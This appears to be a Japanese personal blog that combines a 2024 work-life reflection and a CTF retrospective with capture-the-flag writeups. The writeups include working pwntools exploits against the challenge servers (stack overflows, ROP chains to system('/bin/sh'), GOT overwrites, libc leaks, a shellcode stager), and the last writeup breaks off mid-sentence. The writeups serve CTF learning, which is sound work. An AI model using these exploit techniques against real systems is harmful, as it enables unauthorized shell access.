2024年の振り返りと2025年にむけて
新しい年がはじまるので、2024年のこと・2025年のことについてまとめておこうと思う。 自分の振り返りを文にすることが目的なので、駄文になるのはご容赦いただきたい。 あと、思考回路は個人の偏見のため気分を害された方がいたら申し訳ないです。
普段からTwitterでお世話になっているフォロワーはご承知の通りだが、2024年は仕事ばかりしていたと自分でも思う。 19連勤してみたり、月の残業80時間近くなってみたり... 土日を2日とも休めた週のほうが少なかったのではないかとおもう。 身体って正直なんだと実感した。詳細は伏せるが、健康診断に引っかかってみたり・眼科にかかって治療したり... でも、仕事が原因で身体を壊すのは癪だったため、生活習慣とか適度な運動に気を使ったこともあり経過は良好なのがせめてもの救い。
そもそも、こんなに忙しいのかと自分なりに考えると
・(企業の中で)自分にしかできないというのは必ずしもメリットになりえない
一般社会だと他社・他人にできないというのは大きな強みになるが、会社に入ってしまうとそうでもないのかもしれない。
自分にしかできないと、ずっと自分がしなければならず業務量(それに伴い責任)が減っていかない。
なので、ちゃんと次の人を育てないといけないなとは思うようになった。
・色々できるようになった故の弊害
自分は自部署に求められていることは、その部署の誰しもがすべてこなせるべきであるという思いを持って仕事をしていた。
というのも、他部署からするとスキル不足でその人が対応できませんというのは「しらんがな」という感想しか出ないと思っていたので。
そんなこともあり、いろんなことに対して(得意・不得意はもちろんあったが)社会人6年目で一通りはこなせるようになってきていた。
そのため出張とかいくことになると、とりあえずMaruを行かせとけば大丈夫だろう的な風潮があった。
まぁ、信頼してもらえているのは嬉しかったしありがたかったが、さすがに扱い雑すぎるだろという気持ちもあった。
その他諸々はあるが、自分本位で考えるとこんな感じな気がする。 当たり前であるが、みんな同じモチベーションで仕事しているわけではないので、 個々の差とか出て当たり前だがそこをどう補うかマネジメントするのが大変なのだとは思う。 部署として多忙だったため、上司に対する不満とかたくさん耳にした。 ただ、仮に自分が上司だったとして何ができたかと問われると、 アイデアがあるわけでもなかったので、同僚の不満にはすべて賛同できる気もしなかった。
ただ、正直な気持ちは、ここまで身体とプライベートを削ってまでやることか?という気持ちはあった。 小さいころから否定され続けたこともあってか自己評価があまり高くなく、 「自分が役に立てるのであれば」という気持ちで仕事を続けてきたがここまでになると、先述したような「なにやっているんだろう...」というやりきれない気持ちもあった。
そんな2024年の目標は「(労働の場面で)感謝と謝罪」としていた。
この目標にした理由は、年齢重ねるとちゃんとできないようになってくるような気がしていたため。
・自分一人では絶対できないはずなのに、当たり前のように誰かを頼りにしているとそれがさも当然のようになる
・自分の責任で迷惑をかけたことに対して、変なプライドとか感じて?謝罪しないことはしたくなかった
目標に対する自己評価は、まぁ守れていたと思うので2025年も継続したい。
もう少し「ありがとう」と言葉にできる場面はあったかもしれない。
仕事の忙しさは2025年は2024年以上になるらしい... 2025年の目標は「自己投資」かなと思っている。 自分にしかできないということが直接的なメリットではなくても、成長しなくて良い理由にはならないし、 転職とかするのであればその限りではないので。 あと、プライベートも自己投資は進めたいと思う。 30歳近いし、結婚したい(一人で生きていける自信がない)
WaniCTF 2020 Writeup
[Pwn] netcat

実行結果
m412u@ubuntu:~/CTF/wanictf/netcat$ nc netcat.wanictf.org 9001 congratulation! ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 13 07:35 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8656 Nov 13 07:34 chall -r--r----- 1 root pwn 33 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh cat flag.txt FLAG{netcat-1s-sw1ss-4rmy-kn1fe} ^C m412u@ubuntu:~/CTF/wanictf/netcat$
[Pwn] var rewrite

exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn02" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9002) else: p = process(binfile) payload = b"" payload += b"A" * 30 payload += p64(0x4006ce) payload += p64(0x400b43) # pop rdi ; ret ; payload += p64(0x400b74) # /bin/sh payload += p64(0x400746) # system@plt p.recvuntil("What's your name?: ") p.sendline(payload) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/var_rewrite$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/var_rewrite/pwn02' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9002: Done [*] Switching to interactive mode hello AAAAAAAAAAAAAAAAAA?! target = AAAAAAAA? ***start stack dump*** 0x7fff046e0f90: 0x00007fff046e0fb0 <- rsp 0x7fff046e0f98: 0x4141414141410790 0x7fff046e0fa0: 0x4141414141414141 0x7fff046e0fa8: 0x0000003f41414141 0x7fff046e0fb0: 0x4141414141414141 <- rbp 0x7fff046e0fb8: 0x00000000004006ce <- return address ***end stack dump*** $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:43 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 9072 Nov 18 12:43 chall -r--r----- 1 root pwn 49 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te} $ exit Segmentation fault (core dumped) [*] Got EOF while reading in interactive $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/var_rewrite$
[Pwn] binsh address

exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn03" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9003) else: p = process(binfile) p.recvuntil("The address of \"input \" is ") input_addr = eval(p.recv(14)) log.info("input_addr: 0x{:08x}".format(input_addr)) base_addr = input_addr - 0x2010 log.info("base_addr: 0x{:08x}".format(base_addr)) binsh_addr = base_addr + 0x2020 log.info("binsh_addr: 0x{:08x}".format(binsh_addr)) p.sendline(hex(binsh_addr)) sleep(0.5) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/binsh_address$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/binsh_address/pwn03' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to var.wanictf.org on port 9003: Done [*] input_addr: 0x557885c2b010 [*] base_addr: 0x557885c29000 [*] binsh_addr: 0x557885c2b020 [*] Switching to interactive mode . Please input "/bin/sh" address as a hex number: Your input address is 0x557885c2b020. Congratulation! $ ls -al total 32 drwxr-xr-x 1 root pwn 4096 Nov 18 12:44 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 13176 Nov 18 12:44 chall -r--r----- 1 root pwn 36 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{cAn-f1nd-str1ng-us1ng-str1ngs} $ [*] Interrupted
[Pwn] got rewriter

exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn04" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9004) else: p = process(binfile) p.recvuntil(": ") p.sendline("0x601038") p.recvuntil(": ") p.sendline("0x400807") sleep(0.5) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/got_rewriter$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/got_rewriter/pwn04' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9004: Done [*] Switching to interactive mode Your input rewrite value is 0x400807. *0x601038 <- 0x400807. congratulation! $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8864 Nov 18 12:43 chall -r--r----- 1 root pwn 42 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/got_rewriter$
[Pwn] ret rewrite

exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn05" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' break *0x400964 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9005) else: p = process(binfile) payload = b"" payload += b"A" * 22 payload += p64(0x400696) payload += p64(0x400ab3) # pop rdi ; ret ; payload += p64(0x400ae4) # /bin/sh payload += p64(0x400700) # system@plt p.recvuntil("What's your name?: ") p.sendline(payload) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/ret_rewriter$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/ret_rewriter/pwn05' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9005: Done [*] Switching to interactive mode Hello AAAAAAAAAA7! ***start stack dump*** 0x7ffe6adafa30: 0x414141414141fb30 <- rsp 0x7ffe6adafa38: 0x0000003741414141 0x7ffe6adafa40: 0x4141414141414141 <- rbp 0x7ffe6adafa48: 0x0000000000400696 <- return address 0x7ffe6adafa50: 0x0000000000400ab3 0x7ffe6adafa58: 0x0000000000400ae4 0x7ffe6adafa60: 0x0000000000400700 ***end stack dump*** $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 9024 Nov 18 12:43 chall -r--r----- 1 root pwn 49 Nov 13 07:34 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{1earning-how-return-address-w0rks-on-st4ck} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/ret_rewriter$
[Pwn] rop func call

exploit
from pwn import * from sys import argv from time import sleep #context.log_level = "debug" binfile = "./pwn06" elf = ELF(binfile) if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binfile, ''' set follow-fork-mode parent break *0x400811 break *0x400899 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("var.wanictf.org", 9006) else: p = process(binfile) payload = b"" payload += b"A" * 22 payload += p64(0x40065e) payload += p64(0x400a53) # pop rdi ; ret ; payload += p64(0x601080) # /bin/sh payload += p64(0x4006C0) # system@plt p.recvuntil("What's your name?: ") sleep(0.5) p.sendline(payload) p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/rop_func_call$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/rop_func_call/pwn06' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to var.wanictf.org on port 9006: Done [*] Switching to interactive mode hello AAAAAAAAAA7! ***start stack dump*** 0x7ffc7ad7fa10: 0x4141414141410000 <- rsp 0x7ffc7ad7fa18: 0x0000003741414141 0x7ffc7ad7fa20: 0x4141414141414141 <- rbp 0x7ffc7ad7fa28: 0x000000000040065e <- return address 0x7ffc7ad7fa30: 0x0000000000400a53 0x7ffc7ad7fa38: 0x0000000000601080 0x7ffc7ad7fa40: 0x00000000004006c0 ***end stack dump*** $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8992 Nov 18 12:43 chall -r--r----- 1 root pwn 39 Nov 18 12:43 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{learning-rop-and-x64-system-call} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/rop_func_call$
[Pwn] one gadget rce

exploit
from pwn import * from sys import argv #context.log_level = "debug" binary = "./pwn07" elf = ELF(binary) libc = elf.libc PUTS_OFF = 0x80aa0 SYSTEM_OFF = 0x4f550 BINSH_OFF = 0x1b3e1a if len(argv) >= 2 and argv[1] == "d": p = gdb.debug(binary, ''' set follow-fork-mode parent break *0x400811 break *0x400899 continue ''') elif len(argv) >= 2 and argv[1] == "r": p = remote("rce.wanictf.org", 9007) else: p = process(binary) payload = b"" payload += b"A" * 22 payload += p64(0x400626) # ret ; payload += p64(0x400a13) # pop rdi ; ret ; payload += p64(0x601020) # puts@got payload += p64(0x400650) # puts@plt payload += p64(0x40085e) # main_addr p.recvuntil("What's your name?: ") p.sendline(payload) p.recvuntil("***end stack dump***\n\n") sleep(0.5) # puts_gotのリーク puts_got = u64(p.recv(6)+b"\x00\x00") # データの整形 log.info("puts_got: 0x{:08x}".format(puts_got)) # libcのベースアドレス特定 libc_base = puts_got - PUTS_OFF log.info("libc_base: 0x{:08x}".format(libc_base)) # 2回目の攻撃 system_addr = libc_base + SYSTEM_OFF log.info("system_addr: 0x{:08x}".format(system_addr)) binsh_addr = libc_base + BINSH_OFF log.info("binsh_addr: 0x{:08x}".format(binsh_addr)) payload2 = b"" payload2 += b"A" * 22 payload2 += p64(0x400626) payload2 += p64(0x400a13) payload2 += p64(binsh_addr) payload2 += p64(system_addr) sleep(1) p.recvuntil("What's your name?: ") p.sendline(payload2) p.recvuntil("***end stack dump***\n\n") p.interactive()
実行結果
m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$ python3 exp.py r [*] '/home/m412u/CTF/wanictf/one_gadget_rce/pwn07' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to rce.wanictf.org on port 9007: Done [*] puts_got: 0x7f2d52157aa0 [*] libc_base: 0x7f2d520d7000 [*] system_addr: 0x7f2d52126550 [*] binsh_addr: 0x7f2d5228ae1a [*] Switching to interactive mode $ ls -al total 28 drwxr-xr-x 1 root pwn 4096 Nov 18 12:45 . drwxr-xr-x 1 root root 4096 Nov 13 07:35 .. -r-xr-x--- 1 root pwn 8888 Nov 18 12:43 chall -r--r----- 1 root pwn 43 Nov 18 12:43 flag.txt -r-xr-x--- 1 root pwn 35 Nov 13 07:34 redir.sh $ cat flag.txt FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce} $ [*] Interrupted m412u@ubuntu:~/CTF/wanictf/one_gadget_rce$
ContrailCTF writeup [EasyShellcode]
はじめに
この記事では2019/12/31~2020/1/3に開催されたContrailCTFで出題されたEasyShellcodeのwriteupを紹介したいと思います.
プログラムの概要

問題を開くと上記のようなウィンドウが表示されます.ここから
$ nc 114.177.250.4 2210
で接続すると配布されているバイナリ problem が実行されているということが予想できます.
実際に接続してみると

Input your shellcode: と表示され入力を受け付けていることがわかります.
静的解析
ファイルの種類・セキュリティ機構
$ file ./problem ./problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=add25425cb4bce5d87c64c10487dc62146849971, not stripped $ checksec.sh --file ./problem RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ./problem
ディスアセンブル
$ radare2 -AA ./problem [Cannot analyze at 0x00000700g with sym. and entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [Cannot analyze at 0x00000700ac) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [x] Finding function preludes [x] Enable constraint types analysis for variables -- Find expanded AES keys in memory with '/ca' [0x00000710]> pdf @ main ; DATA XREF from entry0 @ 0x72d ┌ 191: int main (int argc, char **argv, char **envp); │ 0x0000081a 55 push rbp │ 0x0000081b 4889e5 mov rbp, rsp │ 0x0000081e 4883ec10 sub rsp, 0x10 │ 0x00000822 64488b042528. mov rax, qword fs:[0x28] │ 0x0000082b 488945f8 mov qword [rbp - 8], rax │ 0x0000082f 31c0 xor eax, eax │ 0x00000831 41b900000000 mov r9d, 0 ; size_t offset │ 0x00000837 41b800000000 mov r8d, 0 ; int fd │ 0x0000083d b922000000 mov ecx, 0x22 ; '"' ; int flags │ 0x00000842 ba07000000 mov edx, 7 ; int prot │ 0x00000847 be64000000 mov esi, 0x64 ; 'd' ; size_t length │ 0x0000084c bf00000000 mov edi, 0 ; void*addr │ 0x00000851 e85afeffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset) │ 0x00000856 488945f0 mov qword [rbp - 0x10], rax │ 0x0000085a 488d3d230100. lea rdi, str.Input_your_shellcode: ; 0x984 ; "Input your shellcode: " ; const char *format │ 0x00000861 b800000000 mov eax, 0 │ 0x00000866 e855feffff call sym.imp.printf ; int printf(const char *format) │ 0x0000086b 488b059e0720. mov rax, qword [obj.stdout] ; obj.__TMC_END │ ; [0x201010:8]=0 │ 0x00000872 4889c7 mov rdi, rax ; FILE *stream │ 0x00000875 e866feffff call sym.imp.fflush ; int fflush(FILE *stream) │ 0x0000087a 488b45f0 mov rax, qword [rbp - 0x10] │ 0x0000087e ba14000000 mov edx, 0x14 ; size_t nbyte │ 0x00000883 4889c6 mov rsi, rax ; void *buf │ 0x00000886 bf00000000 mov edi, 0 ; int fildes │ 0x0000088b e840feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) │ 0x00000890 488b45f0 mov rax, qword [rbp - 0x10] │ 0x00000894 ba07000000 mov edx, 7 │ 0x00000899 be64000000 mov esi, 0x64 ; 'd' │ 0x0000089e 4889c7 mov rdi, rax │ 0x000008a1 e84afeffff call sym.imp.mprotect │ 0x000008a6 488d45f0 lea rax, [rbp - 0x10] │ 0x000008aa 4831d2 xor rdx, rdx │ 0x000008ad 4831ff xor rdi, rdi │ 0x000008b0 4831f6 xor rsi, rsi │ 0x000008b3 4831db xor rbx, rbx │ 0x000008b6 4831c9 xor rcx, rcx │ 0x000008b9 4d31c0 xor r8, r8 │ 0x000008bc 4d31c9 xor r9, r9 │ 0x000008bf 4d31d2 xor r10, r10 │ 0x000008c2 4d31db xor r11, r11 │ 0x000008c5 4d31e4 xor r12, r12 │ 0x000008c8 4d31ed xor r13, r13 │ 0x000008cb 4d31f6 xor r14, r14 │ 0x000008ce 4d31ff xor r15, r15 │ 0x000008d1 4831ed xor rbp, rbp │ 0x000008d4 4831e4 xor rsp, rsp └ 0x000008d7 ff20 jmp qword [rax]
プログラムの動作としては入力されたデータ(シェルコード)を実行するというものになっています. ただし,入力可能な長さが20(0x14)byteに制限されています.これでは一般的なx64向けのシェルコードではバッファが短すぎてすべてのデータを送り込むことができません.
x64でスタックバッファオーバーフローをやってみる - ももいろテクノロジー Linux/x64 - execve(/bin/sh) Shellcode (24 bytes) - Linux_x86-64 shellcode Exploit Linux/x86-64 - Execute /bin/sh - 27 bytes
そのため,stagerと呼ばれる手法を使用します.これは,入力できるバッファが少ない際にreadを行うシェルコードを先に送り込み,追加でシェル起動用のシェルコードを追加で読み込ませる方法です.
システムコール
readシステムコールの書式は以下のようになっています.
#include <unistd.h> ssize_t read(int fd, void *buf, size_t count);
まず,第1引数 rdi に fd ,第2引数 rsi に *buf ,第3引数 rdx に count を格納します.
そして,rax に 0 を格納して syscall を読んでやるとreadが呼ばれます.
※システムコールコール番号の確認方法
$ ausyscall x86_64 read read 0 pread 17 readv 19 readlink 89 readahead 187 set_thread_area 205 get_thread_area 211 readlinkat 267 preadv 295 process_vm_readv 310 preadv2 327
シェルコード読み込み部分の詳細
mov rsp, rax ; スタックフレームを復元 mov rsi, [rax] ; シェルコードの格納先 mov rdx, 61 ; 読み込みサイズ(パディング32byte+シェルコード29byte) xor rax, rax ; raxを0に(readのシステムコール番号) syscall jmp rsi ; シェルコード格納先へジャンプ
エクスプロイト
from pwn import * from sys import argv from time import sleep context.log_level = "INFO" binfile = "./problem" context.binary = binfile elf = ELF(binfile) p = remote("114.177.250.4", 2210) payload = b"" payload += asm(''' mov rsp, rax mov rsi, [rax] mov rdx, 61 xor rax, rax syscall jmp rsi ''') padding = b"\x90" * 0x20 shellcode = b"" shellcode += asm(''' xor rdx, rdx push rdx movabs rax, 0x68732f2f6e69622f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+0x3b] syscall ''') p.recvuntil("Input your shellcode: ") p.send(payload) p.send(padding+shellcode) p.interactive()
動作例

おわりに
参加していただいた方々,本当にありがとうございます. 間違い等ございましたら連絡よろしくお願いします.
参考
CTFと共に一年を振り返って
はじめに
この記事は Contrail Advent Calendar 1日目の記事です.
今年もAdventCalendarの季節になりました.これまでは読むだけでしたが,せっかくなので書いてみようと挑戦してみました.が,技術?系以外の記事を書くのは初めてなので上手く書けてるかわかりません.また,タイトルでは1年となっていますが,4年ぐらい振り返っています.
CTFとMaru
CTFとの出会い (2015)
僕がCTFと出会ったのは大学へ入学したのと同じ年の2015年のことでした.学部では競技プログラミングこそ講義中にアナウンスされたりしていましたが,セキュリティ関係でそのような話はありませんでした.そのため,自分で似たようなことがないのか調べている最中にCTFを見つけました.そしてすぐに「CTF for ビギナーズ in 長野」(現SECCON Beginners)へ参加しました.1 この勉強会の最後にはミニCTFがあるのですが結果は散々でした.はっきり申し上げると下から2番目でした.この年の春に大学へ入学し,プログラミングをはじめてターミナルなんかの操作も cd,ls がやっとだったので当然といえば当然だったのかもしれません.当時の自分にとってはかなりショックでしたが,今思えばこの経験がすべての始まりだったのかもしれません.
CTFとのお付き合い
はじめて参加した勉強会のあともCTFに対しての熱は冷めませんでした.その年(2015年)の夏休みの終わりで人間関係とかから部活を辞めていて,また何かをやめることが怖かったしなによりフラグを通すのが楽しかったのだと思います.それからというもの自分のペースで常設CTFに挑戦していきました.その中で自分は主にPwnに取り組みました.その理由として,Pwn問の中にはCのソースコードが配布される問題があります.大学でも授業ではC言語を取り扱っていたので少しは解くためのきっかけがつかめるのではないかと考えたからです.しかし,Pwnでは普段のCプログラミングではあまり注目することのない低レイヤーな部分の知識が必要となってきます.
Contrailの誕生 (2016)
CTFtimeなどからCTFに参加するには形だけでもチームが必要な場合が多いので1人でContrailを立ち上げました.CTFTimeに残っている最古の記録はSharifCTF 7への参加なのでおそらくその頃に作成したのだと思います.ちなみにチーム名の由来はそのころ使っていたのPCの壁紙が飛行機と飛行機雲だったからです.自分のアイコンが飛べない鳥ペンギンであること,飛行機雲が空を飛ぶことへの憧れだったとか深い意味はありません.マジです.
チームを作ったはいいものの普段は常設CTFを自分のペースで解いていました.毎週末開催される様なCTFはレベルが高すぎる+時間が圧倒的に足りないので気が向いたときに自分が納得するまで試すことができる常設CTFはとてもありがたいものでした.その中でも LSECTF とCpawCTF2には特にお世話になりました.記録 からわかるようにかなり長期間に渡って挑戦しています.Pwn(Exploit)ではソースコードが配布されるものもあるのでとっつきやすいのではないかと思います.
再挑戦 (2017)
2017年に「SECCON Beginners 名古屋」に参加しました.2 一応,長野のリベンジのつもりとして参加しました.3 紆余曲折ありながらも継続してきたことが良かったのかある程度の問題は解けるようになっていました.その中で解けなかった問題を勉強会の終了直後から復習しました.大学の講義中もカタカタしながら最後まで残ったRev問 のフラグは You are not beginners でした.全くの初心者からはじめてコツコツと継続したものが少し報われたような気がして嬉しかったことをいまでも覚えています.
crackme_revengeようやく解けた・・・
— Maru (@GmS944y) 2017年7月20日
1ヶ月近くかかったけど #ctf4b
この経験からPwnを中心に取り組んで行こうと決めて(なんで!?),前述したLSECTFなどで練習をしました.ハリネズミ本の物理本を章ごとで割いてPwnの章をいつも持ち歩いて読んでいました(作者様すみません).
新たな環境へ (2019)
2019年の3月に大学を卒業するにあたり,様々な理由からプログラマ・ITエンジニアの様な仕事には就けなかったのでそれを期にCTFは辞めようと考えていました.でも,そのまま辞めてしまうのはもったいないと感じたので大学に全部置いて行こうと決めました.そのアウトプットとして学内でLT,勉強会を開催させていただきました.4
ContrailとMaru
今年の春,やっぱりCTFを続けたい・気軽にCTFに関する話題で会話できればという思いからチームメンバーを募集しました.自分の想像を超えて多くの方から連絡をいただき本当に嬉しく思います.
CTFチームの募集をしたいと思います.
— Maru (@GmS944y) 2019年4月20日
興味・質問のある方はDMかなにかでご連絡ください.
チーム勉強会とMaru
8月にチームの参加可能なメンバー+交流のある方をお誘いしてCTF勉強会を開催しました.その間はすべてのリソースをCTFへ割ける素晴らしさを感じました(またしたい).皆さんの豊富な知識や技術に圧倒されながらも,CTFに対する思いは強くなりました.偶然時期が重なって開催されたCTFでは普段では諦めてしまいそうな問題も取り組むことができました.
勉強会の雰囲気はハッシュタグ #Contrail勉強会 で検索していただくとなんとなく感じていただけるのではないかと思います.
これから
変わらない足取りを
おわりに
短いですが最後まで読んでいただきありがとうございます.
チームのメンバー,TwitterなどSNSで良くして頂いている方,勉強会に協力・参加してくださった学内の関係者各位,本当にありがとうございます.この場を借りてお礼を伝えたいと思います.また,ブログ上であることお許しください.
TwitterのDMは開放しておりますので,ご意見,ご感想,ご質問等々あれば連絡していただけると幸いです.
次の記事は@y05h1k1ngさんの「Contrail修行日記を書きます」です.よろしくお願いします.
-
ブログ書きながら気づいたんですが大体2年の記念日だったんですね.(長野:2015/7/5,名古屋:2017/7/1)↩
-
その際の資料はSpeakerDeckに置いてあります.↩
InterKosenCTF stegorop writeup
はじめに
チームContrailとして参加しました.CTFにチームでワイワイしながら取り組むことの楽しさを実感した大会でした.ただ,自分はPwnしかわからないので後半は置物と化しており,複数のジャンルを知っていたら...と改善点もみえました.
自分はwelcome問以外だとPwnを2問通しました.fastbinの問題は適当にやってたらフラグが出てきたのでWriteupかけません.なので,stegoropについて書きたいと思います.
プログラムの概略
問題文にbrainf * ckとあったのでポインタをいじる系の問題かなと予想して取り掛かりました. しかし,実行してみると文字列の入力を受け付けてbrainf * ckに変換して出力するだけの様子.
方針
実行してみるとわかりますが,単純にスタックベースのBOFが存在します.
libcが配布されていたこともあり,いつもの通りlibcのリークにとりかかりました.
問題なくリークが行えたため,ret2vulnでmain関数に処理を戻そうとしたところで問題が発生しました.
下に示すようにmain関数終了時にlockに 1 が格納され,2度目にmain関数を呼ぶ際に 1 であると abort が発生してプログラムが終了していまいます.

そのため,一度目に送り込むペイロードをlibcリークとmain()の途中にあるreadに処理を飛ばすようにしました.
そうすることで,ROP chainが開始し,lockを埋める 0 と one-gadget rceのアドレスを追加で読み込ませました.
エクスプロイトコード
from pwn import * from sys import argv context.log_level = "INFO" binary = "./chall" elf = ELF(binary) if len(argv) >= 2 and sys.argv[1] == "r": p = remote("pwn.kosenctf.com", 9002) libc = ("./libc-2.27.so") PUTS_OFF = 0x809c0 else: p = gdb.debug(binary, ''' break *0x400914 break *0x4008e1 continue ''') PUTS_OFF = 0x809c0 payload = b"" payload += b"A" * 112 payload += p64(0x601149+0x70) payload += p64(0x4009b3) # pop rdi ; ret ; payload += p64(0x601028) # puts@got payload += p64(0x400620) # puts@plt payload += p64(0x4005ee) # ret ; payload += p64(0x4008e1) # main関数の途中 payload += p64(0x40087c) # main関数の先頭 p.recvuntil("Input: ") p.send(payload) p.recvline() puts_got = u64(p.recv(6)+b"\x00\x00") # データの整形 log.info("puts_got: 0x{:08x}".format(puts_got)) libc_base = puts_got - PUTS_OFF log.info("libc_base: 0x{:08x}".format(libc_base)) one_shot = libc_base + 0x4f322 payload2 = b"" payload2 += p64(0x0) payload2 += p64(one_shot) * 0x10 p.recvuntil("Input: ") p.send(payload2) time.sleep(1) p.interactive()
実行結果

おわりに
フラグからわかるようにStack pivotが想定解みたい. もっとPwn頑張りたい.
SECCON Beginners CTF 2019 BabyHeap Writeup
はじめに
5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.
お疲れ様でした。
— Maru (@GmS944y) 2019年5月26日
#ctf4b pic.twitter.com/QG3vfwFlB9
BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.
配布されたファイル
実行ファイルとライブラリが配布されました.
- babyheap
- libc-2.27.so
ファイルの調査
$ file babyheap babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped $ checksec.sh --file babyheap RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH babyheap
プログラムの動作
$ ./babyheap Welcome to babyheap challenge! Present for you!! >>>>> 0x7f54f180ca00 <<<<< MENU 1. Alloc 2. Delete 3. Wipe 0. Exit >
プレゼント
実行するとプレゼントとして_IO_2_1_stdin_のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_のオフセットを引くとライブラリのベースアドレスを入手できます.
_IO_2_1_stdin_のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin 00000000003eba00 D _IO_2_1_stdin_ 00000000003ec850 D stdin
- 例:
0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000
MENU
- Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrが
NULLの場合のみ). - Delete: mallocで確保した領域を解放(free).
- Wipe: mallocで確保した領域へのアドレスを格納した変数ptrを
